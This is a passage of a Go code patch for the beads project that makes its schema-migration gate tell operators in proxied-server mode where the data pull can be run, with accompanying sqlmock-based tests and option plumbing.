+ // verb's consent. A reader told it is blocked here tries it to + // confirm — and forceOrEnvConsent is honored BEFORE this stop is + // ever routed, so the wedge lands on the one topology that can + // still take it. State the real precondition instead: not where, + // but when. + body += "" + + " Unlike the pull, that consent step CAN be run from here: the proxied front\n" + + " door refuses the bare `bd migrate` verb, not `" + SharedConsentCommandForced + "`,\n" + + " and the provider open applies the migration under it. That is exactly why\n" + + " it has to wait — run it only after the pull on the server host completes.\n" + } } else { body += "" + " The migration then runs on its own: with nothing left to pull, this clone\n" + @@ -354,10 +413,28 @@ func (e *RemoteMigrateGateError) dataBehindBody() string { if e.Shared { // The consent command this arm prescribes is itself a forced migrate, // so the warning above has to say what makes that one different: the - // pull having already landed, not the flag. + // pull having already landed, not the flag. Named in full rather than + // as "the command above", which is ambiguous once the proxied clause + // below is also printed. body += "" + - " The same goes for the consent command above until the pull has finished:\n" + - " what makes it safe is that there is nothing left to pull by then.\n" + " The same holds for `" + SharedConsentCommandForced + "` until the pull has\n" + + " finished: what makes it safe is that there is nothing left to pull by then.\n" + } + if e.Proxied { + // Only the BARE `bd migrate` the warning above names is refused here. + // Two other surfaces carry the same forced consent and are both + // reachable from this workspace: the two-word `migrate schema` path, + // which no proxy refusal row matches, and the env hatch, which no + // command dispatch touches at all. forceOrEnvConsent reads both before + // this stop is routed, so a proxied warning that implies the topology + // already blocks the wedge would leave it open on the one topology + // that can still take it. + body += "" + + " Being in proxied-server mode does not put that out of reach: the front door\n" + + " refuses the bare `bd migrate` verb, not `" + SharedConsentCommandForced + "`, and\n" + + " " + AllowRemoteMigrateEnv + "=1 grants the same consent to ANY command, including\n" + + " the one you just ran. Both are honored before this stop is even reached, so\n" + + " do not reach for either to get past it.\n" } return body } @@ -484,6 +561,12 @@ func (e *RemoteMigrateGateError) AgentDirective() string { } else { d += " This clone has no commits of its own, so that pull is a pure fast-forward and discards nothing." } + if e.Proxied { + d += " This workspace is in proxied-server mode, where `" + DataBehindRemedyCommand + "` is refused at the " + + "front door (proxy.dolt_pull.unsupported) — do NOT attempt it here. The pull has to be run where the " + + "database lives (the server host, from a workspace with direct access to it); surface that to the " + + "operator rather than retrying locally." + } if e.Shared { d += " After the pull the migration still needs the operator's explicit consent (" + SharedConsentCommandForced + " — this store is remote-backed, so the bare verb does not unlock it; see SharedConsentCommandForced): " + @@ -569,8 +652,20 @@ func (e *RemoteMigrateGateError) Options() []GateOption { if e.DataDiverged { risk = "this clone also has commits of its own, so the pull MERGES; it can report conflicts that must be resolved before it completes (bd dolt pull --strategy ours|theirs on embedded storage, bd conflicts resolve on a server store). Nothing is discarded without that resolution" } + id := "pull-first" + if e.Proxied { + // An option an agent can read as runnable-here is the harm on this + // topology: the proxied front door refuses the command. Say WHERE + // in both the id and the precondition, so neither a Commands-only + // reader nor an id-only reader is misled. + id = "pull-first-on-server-host" + when = "always, for this stop, but NOT from this workspace: it is in proxied-server mode, where " + + DataBehindRemedyCommand + " is refused (proxy.dolt_pull.unsupported). Run it on the machine that " + + "hosts this database, from a workspace with direct access to it, then retry here" + risk += "; running it from this proxied workspace fails with proxy.dolt_pull.unsupported and changes nothing" + } pull := GateOption{ - ID: "pull-first", + ID: id, When: when, Commands: []string{DataBehindRemedyCommand}, Risk: risk, @@ -583,11 +678,24 @@ func (e *RemoteMigrateGateError) Options() []GateOption { // the bare verb's consent is read only on the no-remote arm — an // option whose command cannot succeed in the state that printed it // is worse than no option (see SharedConsentCommandForced). + consentWhen := "the pull above has completed AND every co-resident bd client of this server is upgraded to this binary (confirmed with the operator)" + consentRisk := "co-resident clients still on an older bd will refuse this database until upgraded; running it before the pull completes is the wedge this stop prevents. Its --force consents to migrating a remote-backed shared store (the bare verb's consent is read only with no remote configured); it does not make migrating while behind safe" + if e.Proxied { + // Unlike the pull, this command is NOT refused here: the + // capability registry permits the two-word "migrate schema" + // path, so it gets through and the provider open applies the + // migration under its consent. The precondition is therefore + // temporal, not locational — and it is the only thing between + // an agent on this topology and the wedge, because forced + // consent is honored before this stop is routed at all. + consentWhen += ". Unlike the pull this one IS runnable from this proxied workspace — the front door refuses the bare `bd migrate`, not this two-word path — so the pull-first half of this precondition is load-bearing here, not a formality" + consentRisk += ". Running it from this proxied workspace does NOT fail closed the way the pull does: the consent is honored before this stop is routed, and the provider open applies the migration" + } return []GateOption{pull, { ID: "migrate-shared-after-pulling", - When: "the pull above has completed AND every co-resident bd client of this server is upgraded to this binary (confirmed with the operator)", + When: consentWhen, Commands: []string{SharedConsentCommandForced}, - Risk: "co-resident clients still on an older bd will refuse this database until upgraded; running it before the pull completes is the wedge this stop prevents. Its --force consents to migrating a remote-backed shared store (the bare verb's consent is read only with no remote configured); it does not make migrating while behind safe", + Risk: consentRisk, }} } return []GateOption{pull} diff --git a/internal/storage/schema/smart_remote_migrate_gate.go b/internal/storage/schema/smart_remote_migrate_gate.go index ab26d88a2..97dc5b121 100644 --- a/internal/storage/schema/smart_remote_migrate_gate.go +++ b/internal/storage/schema/smart_remote_migrate_gate.go @@ -246,11 +246,12 @@ func routeAdoptFastForward(ctx context.Context, db DBConn, ref string, adopt *Fa // (behind == 0) and a purely-ahead clone (behind == 0, ahead >= 1) are still // permitted — they are genuine first-movers with nothing to pull. // -// adopt may be nil, or wire neither callback (the shared unit-of-work -// provider's injection site) — then there is no ancestry fact to read and -// routing stays exactly as it was before this check existed. With only -// IsStrictAncestor wired, the fact narrows to the ahead == 0 shape; the -// diverged shape then reads "not behind", which is the pre-widening +// adopt may be nil, or wire neither callback — then there is no ancestry fact +// to read and routing stays exactly as it was before this check existed. (The +// shared unit-of-work provider's injection site wires AheadBehind only; every +// other callback stays nil there deliberately, so no new auto-write path +// opens.) With only IsStrictAncestor wired, the fact narrows to the ahead == 0 +// shape; the diverged shape then reads "not behind", which is the pre-widening // behavior rather than a new hazard. // // Unlike routeAdoptFastForward, a query error is NOT folded into "false": diff --git a/internal/storage/schema/smart_remote_migrate_gate_test.go b/internal/storage/schema/smart_remote_migrate_gate_test.go index bc3bbc4b7..28093fc1c 100644 --- a/internal/storage/schema/smart_remote_migrate_gate_test.go +++ b/internal/storage/schema/smart_remote_migrate_gate_test.go @@ -1312,6 +1312,63 @@ func TestDataBehindRemedySurfaces(t *testing.T) { t.Error("IsDataBehind() = true on a nil receiver") } }) + + // Proxied-server mode is the one topology where the remedy command is + // correct and unrunnable at the same time: `bd dolt pull` is refused at the + // front door (proxy.dolt_pull.unsupported), as are `bd dolt push`, + // `bd migrate` and `bd conflicts`. Naming it unqualified there hands the + // operator a command their own binary rejects, which is how they end up + // reaching for the one hatch the proxy does NOT refuse. + t.Run("proxied surfaces say where the pull can be run", func(t *testing.T) { + proxied := func(shared bool) *RemoteMigrateGateError { + e := base(shared, false) + e.Proxied = true + return e + } + + for _, shared := range []bool{false, true} { + msg := proxied(shared).UserMessage() + for _, want := range []string{ + "proxied-server mode", "proxy.dolt_pull.unsupported", "server host", + DataBehindRemedyCommand, AllowRemoteMigrateEnv + "=1", + } { + if !strings.Contains(msg, want) { + t.Errorf("shared=%v: proxied body missing %q:\n%s", shared, want, msg) + } + } + d := proxied(shared).AgentDirective() + for _, want := range []string{"proxy.dolt_pull.unsupported", "do NOT attempt it here"} { + if !strings.Contains(d, want) { + t.Errorf("shared=%v: proxied AgentDirective missing %q:\n%s", shared, want, d) + } + } + opts := proxied(shared).Options() + if opts[0].ID != "pull-first-on-server-host" { + t.Errorf("shared=%v: pull option id = %q, want the host-qualified id", shared, opts[0].ID) + } + // The command itself is unchanged — it is the right command — so an + // agent that reads only Commands must find the qualification in the + // precondition it is required to check. + if len(opts[0].Commands) != 1 || opts[0].Commands[0] != DataBehindRemedyCommand { + t.Errorf("shared=%v: pull option commands = %v, want [%q]", shared, opts[0].Commands, DataBehindRemedyCommand) + } + if !strings.Contains(opts[0].When, "proxy.dolt_pull.unsupported") { + t.Errorf("shared=%v: pull option precondition must name the refusal:\n%s", shared, opts[0].When) + } + } + + // Nothing above may leak into the ordinary embedded/server-mode stop, + // whose remedy IS runnable where it is printed. + direct := base(true, false).UserMessage() + for _, forbidden := range []string{"proxied-server mode", "server host"} { + if strings.Contains(direct, forbidden) { + t.Errorf("non-proxied body gained %q:\n%s", forbidden, direct) + } + } + if base(true, false).Options()[0].ID != "pull-first" { + t.Error("non-proxied pull option id changed") + } + }) } // TestSmartGateEnabled pins the default-on contract: unset and unparseable diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index fed8ccd9a..4eebb70b6 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -71,6 +71,7 @@ go_library( "//internal/storage/memoryops", "//internal/storage/schema", "//internal/storage/sqlbuild", + "//internal/storage/versioncontrolops", "//internal/types", "//internal/workapi", "//issueops", @@ -105,6 +106,7 @@ go_test( "counter_contract_test.go", "cross_record_invariant_contract_test.go", "cycle_detector_contract_test.go", + "data_behind_migrate_gate_test.go", "deleter_contract_test.go", "dependency_editor_contract_test.go", "dolt_sql_provider_lock_test.go", diff --git a/internal/storage/uow/data_behind_migrate_gate_test.go b/internal/storage/uow/data_behind_migrate_gate_test.go new file mode 100644 index 000000000..7cd51cba2 --- /dev/null +++ b/internal/storage/uow/data_behind_migrate_gate_test.go @@ -0,0 +1,288 @@ +package uow + +import ( + "context" + "errors" + "fmt" + "regexp" + "strings" + "testing" + + "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/storage/schema" +) + +// dataBehindCurrent is a schema cursor at or above the convergence floor +// (schema.LastNonDeterministicMigration) and below this binary's latest, so the +// smart gate reaches the equal-version first-mover arm with migrations still +// pending — the only arm where the #6575 ancestry check runs. +const dataBehindCurrent = 65 + +// expectSmartGateDataBehindRoute mocks the smart router's reads for a clone +// that is LEVEL with the cached remote ref on schema and BEHIND it in data: +// the local hashes, the active branch, the remote ref's hashes (identical, so +// no skew and the same max version), and finally the ahead/behind commit +// counts the #6575 check reads through the injected adopter. +// +// The last query is the one that did not happen before this fix: with a nil +// adopter localDataBehind short-circuits, so the route ended at +// smartAutoMigrate and the refusal reported shared-store instead. +func expectSmartGateDataBehindRoute(mock sqlmock.Sqlmock, ahead, behind int) { + hashes := func() *sqlmock.Rows { + return sqlmock.NewRows([]string{"version", "content_hash"}). + AddRow(dataBehindCurrent-1, "hash-a"). + AddRow(dataBehindCurrent, "hash-b") + } + ref := "remotes/origin/main" + + mock.ExpectQuery(regexp.QuoteMeta("SELECT version, content_hash FROM schema_migrations")). + WillReturnRows(hashes()) + mock.ExpectQuery(regexp.QuoteMeta("SELECT active_branch()")). + WillReturnRows(sqlmock.NewRows([]string{"branch"}).AddRow("main")) + mock.ExpectQuery(regexp.QuoteMeta(fmt.Sprintf("SHOW TABLES AS OF '%s' LIKE 'schema_migrations'", ref))). + WillReturnRows(sqlmock.NewRows([]string{"table"}).AddRow("schema_migrations")) + mock.ExpectQuery(regexp.QuoteMeta(fmt.Sprintf("SHOW COLUMNS FROM schema_migrations AS OF '%s' LIKE 'content_hash'", ref))). + WillReturnRows(sqlmock.NewRows([]string{"column"}).AddRow("content_hash")) + mock.ExpectQuery(regexp.QuoteMeta(fmt.Sprintf("SELECT version, content_hash FROM schema_migrations AS OF '%s'", ref))). + WillReturnRows(hashes()) + // versioncontrolops.LocalAheadBehind — reached only through a wired + // AheadBehind callback. + mock.ExpectQuery(`FROM dolt_log AS OF`). + WillReturnRows(sqlmock.NewRows([]string{"ahead", "behind"}).AddRow(ahead, behind)) +} + +// TestInitSchemaProxiedDataBehind covers the proxied/`bd serve` open path's +// half of gastownhall/beads#6575. +// +// The store-open gate on this path passed a nil adopter, so localDataBehind +// had no ancestry fact to read and the route could never emit smartDataBehind. +// A proxied clone that was level on schema and behind in data therefore +// reported the blunt shared-store refusal — whose body is the designated- +// migrator recipe, `bd migrate --force` then `bd dolt push`. In this state that +// recipe IS the #6368 wedge the stop exists to prevent, so the refusal was safe +// (the shared arm suppresses the auto-migrate either way) while the guidance it +// printed was not. +func TestInitSchemaProxiedDataBehind(t *testing.T) { + // newProxiedProvider returns a provider over a fresh mock with the two + // escape hatches pinned off, so the gate is reached on its own merits. + newProxiedProvider := func(t *testing.T) (*doltSQLProvider, sqlmock.Sqlmock) { + t.Helper() + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + t.Setenv(schema.SmartGateEnv, "1") + t.Cleanup(func() { + schema.SetSharedMigrateConsent(false) + schema.SetForceAllowRemoteMigrate(false) + }) + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("create sql mock: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + return &doltSQLProvider{ + defaultBranch: defaultBranch, + db: db, + serverEndpoint: "tcp:127.0.0.1:3306", + proxiedServerMode: true, + }, mock + } + + t.Run("routes to the data-behind stop instead of the blunt shared-store one", func(t *testing.T) { + p, mock := newProxiedProvider(t) + + lockName := expectBehindDatabaseThroughPreparation(mock, "beads", dataBehindCurrent) + expectSharedGateProbe(mock, dataBehindCurrent, 1) + expectSmartGateDataBehindRoute(mock, 0, 2) + // Nothing between the route and the lock release: the refusal must land + // before MigrateUp issues its first statement. + expectLockRelease(mock, lockName) + + err := p.initSchema(context.Background(), "beads") + var gateErr *schema.RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("initSchema() error = %T (%v), want *schema.RemoteMigrateGateError", err, err) + } + if !gateErr.IsDataBehind() { + t.Fatalf("FallbackReason = %q, Decision = %q — want the #6575 data-behind stop", + gateErr.FallbackReason, gateErr.Decision) + } + if !gateErr.Shared { + t.Error("Shared = false; this provider only ever serves a shared database") + } + if !gateErr.Proxied { + t.Error("Proxied = false; every refusal from this provider is a proxied-server-mode refusal") + } + + // The finding, stated as an assertion: the body an operator reads must + // not hand them the migrate-in-place recipe while they are still behind. + body := gateErr.UserMessage() + for _, forbidden := range []string{"bd migrate --force\n", "designated migrator"} { + if strings.Contains(body, forbidden) { + t.Errorf("proxied data-behind body still prescribes %q:\n%s", forbidden, body) + } + } + if !strings.Contains(body, schema.DataBehindRemedyCommand) { + t.Errorf("body must name the pull:\n%s", body) + } + // ...and because `bd dolt pull` is refused at the proxied front door, + // the body has to say where it can actually be run. + for _, want := range []string{"proxied-server mode", "proxy.dolt_pull.unsupported", "server host"} { + if !strings.Contains(body, want) { + t.Errorf("proxied body missing %q:\n%s", want, body) + } + } + // The env hatch is not the only consent surface that stays reachable + // here: the proxied capability registry keys on the command path and + // permits `migrate schema`, so the forced schema verb gets through too + // (pinned in cmd/bd by TestProxyMaintenanceAllowsTheSharedConsentVerb). + // Both are read by forceOrEnvConsent before this stop is routed, so a + // warning that names only the refused bare `bd migrate --force` leaves + // the wedge reachable on exactly this topology. + for _, want := range []string{schema.AllowRemoteMigrateEnv + "=1", schema.SharedConsentCommandForced} { + if !strings.Contains(body, want) { + t.Errorf("proxied body must warn about the reachable consent surface %q:\n%s", want, body) + } + } + + opts := gateErr.Options() + if len(opts) != 2 || opts[0].ID != "pull-first-on-server-host" { + t.Fatalf("Options() = %+v, want the host-qualified pull plus the consent step", opts) + } + for _, o := range opts { + for _, c := range o.Commands { + if c == "bd migrate --force" || c == "bd bootstrap" { + t.Errorf("option %q offers %q, measured not to work in this state", o.ID, c) + } + } + } + + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + }) + + // The counterfactual for the topology flag. This same provider is the one + // `bd serve` builds for a SERVER-mode workspace, where `bd dolt pull` is + // not refused — telling that operator to go find another machine would be + // the same class of wrong guidance in the other direction. + t.Run("a server-mode open keeps the runnable-here remedy", func(t *testing.T) { + p, mock := newProxiedProvider(t) + p.proxiedServerMode = false + + lockName := expectBehindDatabaseThroughPreparation(mock, "beads", dataBehindCurrent) + expectSharedGateProbe(mock, dataBehindCurrent, 1) + expectSmartGateDataBehindRoute(mock, 0, 2) + expectLockRelease(mock, lockName) + + err := p.initSchema(context.Background(), "beads") + var gateErr *schema.RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("initSchema() error = %T (%v), want *schema.RemoteMigrateGateError", err, err) + } + if !gateErr.IsDataBehind() { + t.Fatalf("FallbackReason = %q — the stop itself is topology-independent", gateErr.FallbackReason) + } + if gateErr.Proxied { + t.Error("Proxied = true for a server-mode open") + } + if body := gateErr.UserMessage(); strings.Contains(body, "server host") { + t.Errorf("server-mode body must keep the runnable-here pull:\n%s", body) + } + if id := gateErr.Options()[0].ID; id != "pull-first" { + t.Errorf("server-mode pull option id = %q, want %q", id, "pull-first") + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + }) + + t.Run("a level clone is unaffected", func(t *testing.T) { + // The counterfactual for the wiring: same route, behind == 0. Reading + // the ancestry must not turn a genuine first-mover into a data-behind + // stop — it stays the shared-store refusal it was before this fix. + p, mock := newProxiedProvider(t) + + lockName := expectBehindDatabaseThroughPreparation(mock, "beads", dataBehindCurrent) + expectSharedGateProbe(mock, dataBehindCurrent, 1) + expectSmartGateDataBehindRoute(mock, 0, 0) + expectLockRelease(mock, lockName) + + err := p.initSchema(context.Background(), "beads") + var gateErr *schema.RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("initSchema() error = %T (%v), want *schema.RemoteMigrateGateError", err, err) + } + if gateErr.IsDataBehind() { + t.Error("a level clone must not reach the data-behind stop") + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + }) + + t.Run("read-only open prints the pull-first block, not the consent template", func(t *testing.T) { + // readThroughRefusedMigration's template names the shared consent verb + // for every refusal. For this stop that verb is doubly wrong: the + // remedy is the pull, and a remote-backed shared store never reads the + // bare verb's consent at all (schema.SharedConsentCommandForced). + p, mock := newProxiedProvider(t) + p.readOnly = true + + lockName := expectBehindDatabaseThroughPreparation(mock, "beads", dataBehindCurrent) + expectSharedGateProbe(mock, dataBehindCurrent, 1) + expectSmartGateDataBehindRoute(mock, 1, 2) // diverged shape + expectLockRelease(mock, lockName) + mock.ExpectExec(regexp.QuoteMeta("USE `beads`")). + WillReturnResult(sqlmock.NewResult(0, 0)) + + var initErr error + stderr := captureStderr(t, func() { + initErr = p.initSchema(context.Background(), "beads") + }) + if initErr != nil { + t.Fatalf("initSchema() error = %v, want nil — reads keep working on the old schema", initErr) + } + for _, want := range []string{ + "Read-only command", "without migrating", + schema.DataBehindRemedyCommand, "MERGES", "server host", + } { + if !strings.Contains(stderr, want) { + t.Errorf("read-through warning missing %q:\n%s", want, stderr) + } + } + // Two-sided: the template's "run 'bd migrate schema'" line must be gone + // for this stop. Scrub the forms that DO work first — every forced form + // contains the bare verb as a substring. + scrubbed := strings.ReplaceAll(stderr, schema.SharedConsentCommandForcedGlobal, "") + scrubbed = strings.ReplaceAll(scrubbed, schema.SharedConsentCommandForced, "") + if strings.Contains(scrubbed, schema.SharedConsentCommand) { + t.Errorf("read-through still prescribes the bare consent verb:\n%s", stderr) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + }) +} + +// TestDataBehindAdopterWiring pins the shape of the injected adopter, not just +// its effect. Only AheadBehind is wired: it is the complete #6575 predicate, +// while leaving IsStrictAncestor/WorkingSetClean nil keeps routeAdoptFastForward +// returning false, so the remote-AHEAD arm on this path keeps the plain adopt +// directive it had before. FastForward must stay nil — it is a WRITE that would +// promote the schema for every co-resident client of this server. +func TestDataBehindAdopterWiring(t *testing.T) { + for _, readOnly := range []bool{false, true} { + a := dataBehindAdopter(readOnly) + if a.AheadBehind == nil { + t.Fatal("AheadBehind must be wired; it is the whole point of the injection") + } + if a.FastForward != nil { + t.Error("FastForward must stay nil: a fast-forward here promotes the schema for every co-resident client") + } + if a.IsStrictAncestor != nil || a.WorkingSetClean != nil { + t.Error("IsStrictAncestor/WorkingSetClean must stay nil so the remote-ahead arm is unchanged") + } + if a.ReadOnly != readOnly { + t.Errorf("ReadOnly = %v, want %v", a.ReadOnly, readOnly) + } + } +} diff --git a/internal/storage/uow/dolt_sql_provider.go b/internal/storage/uow/dolt_sql_provider.go index e7681d800..23d49c6a8 100644 --- a/internal/storage/uow/dolt_sql_provider.go +++ b/internal/storage/uow/dolt_sql_provider.go @@ -24,6 +24,7 @@ import ( db "github.com/steveyegge/beads/internal/storage/domain/db" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/storage/schema" + "github.com/steveyegge/beads/internal/storage/versioncontrolops" ) const ( @@ -54,6 +55,10 @@ type doltSQLProvider struct { // preview it still bootstraps and migrates normally — it only changes what // happens when the migration gate REFUSES; see providerOptions.readOnly. readOnly bool + // proxiedServerMode: the workspace that opened this provider is in + // proxied-server mode, so the commands the proxied front door refuses are + // off the table for its operator; see providerOptions.proxiedServerMode. + proxiedServerMode bool // eventsJournalEnabled activates the durable events journal for THIS // provider instance only. See SetEventsJournalEnabled. eventsJournalEnabled atomic.Bool @@ -134,6 +139,17 @@ type providerOptions struct { // working through the upgrade window. That is the same warn-and-continue // contract embeddeddolt gives its read-only-command intent. readOnly bool + // proxiedServerMode records that the WORKSPACE is in proxied-server mode, + // which this provider cannot infer: it is the single funnel for the + // proxied CLI and for `bd serve`'s own provider on a SERVER-mode + // workspace, and both front a Dolt sql-server through the same dbproxy. + // The distinction matters to exactly one thing — which commands the front + // door refuses. In proxied mode `bd dolt pull` is rejected before it opens + // anything (proxy.dolt_pull.unsupported), so the #6575 data-behind stop + // has to name where that pull can be run; on a server-mode workspace the + // same command works, and saying otherwise would be the same class of + // wrong guidance in the other direction. + proxiedServerMode bool } // WithPreview opens the provider for a non-mutating preview command. @@ -146,6 +162,13 @@ func WithReadOnly() ProviderOption { return func(o *providerOptions) { o.readOnly = true } } +// WithProxiedServerMode marks the open as belonging to a proxied-server-mode +// workspace. See providerOptions.proxiedServerMode: only the refusal guidance +// depends on it, and only the proxied CLI open may set it. +func WithProxiedServerMode() ProviderOption { + return func(o *providerOptions) { o.proxiedServerMode = true } +} + func applyProviderOptions(opts []ProviderOption) providerOptions { var resolved providerOptions for _, opt := range opts { @@ -285,10 +308,18 @@ func (p *doltSQLProvider) initSchemaAttempt(ctx context.Context, database string // database by the time it runs, so a fresh bootstrap reads version 0 // and passes. schema.WithMigrationGate(func(ctx context.Context, c *sql.Conn) error { - return schema.CheckSharedStoreMigrateGate(ctx, c, "", nil, nil) + return schema.CheckSharedStoreMigrateGate(ctx, c, "", nil, dataBehindAdopter(p.readOnly)) })); err != nil { var gateErr *schema.RemoteMigrateGateError if errors.As(err, &gateErr) { + // The gate reads the database, never the workspace, so it cannot + // know which commands this operator's front door will refuse. Only + // a proxied-server-mode workspace refuses `bd dolt pull`, and this + // provider also serves `bd serve` on a server-mode workspace, + // where that pull works — so the flag is the caller's, not a + // property of being behind a proxy (gastownhall/beads#6575 + // follow-up). + gateErr.Proxied = p.proxiedServerMode if p.readOnly { return readThroughRefusedMigration(ctx, conn, database, gateErr) } @@ -302,6 +333,39 @@ func (p *doltSQLProvider) initSchemaAttempt(ctx context.Context, database string return nil } +// dataBehindAdopter injects the one ancestry fact the smart gate's #6575 +// data-behind check needs on this path. Without it localDataBehind short- +// circuits on a nil adopter, so a proxied store that is level on schema and +// BEHIND the remote in data could never route to smartDataBehind: it reported +// the blunt shared-store refusal instead, whose body names `bd migrate --force` +// and `bd dolt push` — the designated-migrator recipe, which in this state is +// the #6368 wedge the stop exists to prevent. The refusal itself was always +// safe here (the shared arm suppresses the first-mover auto-migrate whatever +// the ancestry says); the guidance it printed was not. +// +// Only AheadBehind is wired, deliberately. It is the complete data-behind +// predicate (behind >= 1 whatever ahead is, plus which shape), so the stop is +// fully covered — while leaving IsStrictAncestor/WorkingSetClean nil keeps +// routeAdoptFastForward returning false, so the remote-AHEAD arm still routes +// to the same plain adopt directive it does today. Nothing but the data-behind +// state changes message. FastForward stays nil for a stronger reason: the +// fast-forward is a WRITE that would promote the schema for every co-resident +// client of this server, which is exactly what the shared gate refuses to do +// unattended (#5920), and CheckSharedStoreMigrateGate suppresses it on a +// shared store regardless. +func dataBehindAdopter(readOnly bool) *schema.FastForwardAdopter { + return &schema.FastForwardAdopter{ + AheadBehind: func(ctx context.Context, db schema.DBConn, ref string) (int, int, error) { + return versioncontrolops.LocalAheadBehind(ctx, db, ref) + }, + // No FastForward is wired above, so canAutoFastForward is already + // false and this flag changes nothing today. Set anyway so the + // adopter's safety invariant ("ReadOnly means cannot write here") + // does not come to depend on that coincidence. + ReadOnly: readOnly, + } +} + // readThroughRefusedMigration serves a read command from a database the // migration gate refused to migrate: warn, attach at the current schema, and // carry on. Writes remain refused (they open without WithReadOnly), so the @@ -327,6 +391,19 @@ func readThroughRefusedMigration(ctx context.Context, conn *sql.Conn, database s // the refusal, which is the actionable half. return backoff.Permanent(gateErr) } + // #6575: the data-behind stop's remedy is the pull, and the consent verb + // this template names does not unlock a remote-backed shared store at all + // (schema.SharedConsentCommandForced). Print that stop's own block, which + // REPLACES the migrate-or-adopt framing rather than decorating it, and say + // only what read-through adds on top. + if gateErr.IsDataBehind() { + fmt.Fprintf(os.Stderr, + "Warning: %[1]s"+ + " Read-only command: continuing on schema v%[2]d without migrating.\n"+ + " Writes stay blocked until the steps above are done.\n", + gateErr.UserMessage(), gateErr.CurrentVersion) + return nil + } fmt.Fprintf(os.Stderr, "Warning: %[1]v\n"+ " Read-only command: continuing on schema v%[2]d without migrating.\n"+ @@ -783,6 +860,7 @@ func openAndInitSchema(ctx context.Context, ep proxy.Endpoint, database, rootUse expectedProjectID: expectedProjectID, preview: opts.preview, readOnly: opts.readOnly, + proxiedServerMode: opts.proxiedServerMode, } } diff --git a/internal/storage/uow/doltserver_provider_test.go b/internal/storage/uow/doltserver_provider_test.go index b6b03f7d0..dab2f6174 100644 --- a/internal/storage/uow/doltserver_provider_test.go +++ b/internal/storage/uow/doltserver_provider_test.go @@ -115,6 +115,69 @@ func TestNewDoltServerUOWProvider_HappyPath(t *testing.T) { t.Cleanup(func() { _ = provider.Close(context.Background()) }) } +// TestNewDoltServerUOWProvider_CarriesProxiedServerMode pins the link of the +// proxied-server marker that the data-behind gate tests cannot see: they build +// the provider with the field already set, so they stay green if the open +// stops copying the option into the providers it builds, the one the gate +// runs on included. Both polarities, because the open `bd serve` makes for a +// server-mode workspace passes no option and must keep the runnable-here +// remedy. The two opens share one server. +func TestNewDoltServerUOWProvider_CarriesProxiedServerMode(t *testing.T) { + testutil.RequireDoltBinary(t) + bin, err := exec.LookPath("dolt") + require.NoError(t, err) + + bdBin := buildBDBinary(t) + prev := proxy.ResolveExecutable + proxy.ResolveExecutable = func() (string, error) { return bdBin, nil } + t.Cleanup(func() { proxy.ResolveExecutable = prev }) + + t.Setenv("HOME", t.TempDir()) + + port, err := proxy.PickFreePort() + require.NoError(t, err) + storeRootDir := t.TempDir() + shutdownOnInterrupt(t, storeRootDir) + verifiedShutdownCleanup(t, storeRootDir) + cfgPath := writeServerConfig(t, port) + logPath := filepath.Join(t.TempDir(), "server.log") + + for _, tt := range []struct { + name string + opts []ProviderOption + want bool + }{ + {name: "server-mode open", want: false}, + {name: "proxied-server open", opts: []ProviderOption{WithProxiedServerMode()}, want: true}, + } { + t.Run(tt.name, func(t *testing.T) { + provider, err := NewDoltServerUOWProvider( + context.Background(), + storeRootDir, + "beads", + logPath, + cfgPath, + proxy.BackendLocalServer, + "root", + "", + bin, + 0, + 0, + false, + "", + tt.opts..., + ) + require.NoError(t, err) + require.NotNil(t, provider) + t.Cleanup(func() { _ = provider.Close(context.Background()) }) + + sqlProvider, ok := provider.(*doltSQLProvider) + require.True(t, ok, "NewDoltServerUOWProvider returned %T, want *doltSQLProvider", provider) + assert.Equal(t, tt.want, sqlProvider.proxiedServerMode, "provider.proxiedServerMode") + }) + } +} + func TestNewDoltServerUOWProvider_ConcurrentInstantiation(t *testing.T) { testutil.RequireDoltBinary(t) bin, err := exec.LookPath("dolt") diff --git a/internal/storage/uow/preview_provider_test.go b/internal/storage/uow/preview_provider_test.go index 6f815c55e..034df323c 100644 --- a/internal/storage/uow/preview_provider_test.go +++ b/internal/storage/uow/preview_provider_test.go @@ -62,12 +62,22 @@ func TestInitSchemaPreviewMissingDatabaseFailsClosed(t *testing.T) { } // TestApplyProviderOptions keeps the option plumbing honest: the ordinary -// callers pass nothing and must stay on the mutating open. +// callers pass nothing and must stay on the mutating open, and only an open +// that asks for it is treated as proxied-server mode. func TestApplyProviderOptions(t *testing.T) { - if got := applyProviderOptions(nil); got.preview { + got := applyProviderOptions(nil) + if got.preview { t.Fatal("applyProviderOptions(nil).preview = true, want false") } + if got.proxiedServerMode { + t.Fatal("applyProviderOptions(nil).proxiedServerMode = true, want false") + } if got := applyProviderOptions([]ProviderOption{WithPreview()}); !got.preview { t.Fatal("applyProviderOptions(WithPreview()).preview = false, want true") } + // The proxied marker changes what a refusal says, not how the open + // behaves, so it must not switch on either open posture as well. + if got := applyProviderOptions([]ProviderOption{WithProxiedServerMode()}); !got.proxiedServerMode || got.preview || got.readOnly { + t.Fatalf("applyProviderOptions(WithProxiedServerMode()) = %+v, want only proxiedServerMode set", got) + } } From 17127ee544703835bbd6fa29582c97245f10874f Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 11 Oct 2026 01:22:48 +0000 Subject: [PATCH 225/325] fix(ci-policy): close review leftovers from #7485/#7486 (#7491) * fix(ci-policy): close review leftovers from #7485/#7486 Follow-ups from maintainer review on the host-tool exec/shell policy tests and the bazel.yml integration gate: - host_tool_shell_policy_test.go: recognize indented function headers and `function name {` forms when finding a function's closing brace, so scripts/test.sh's indented cleanup_shared_server() no longer mis-attributes its trailing lines to the wrong function; classify same-line `command -v 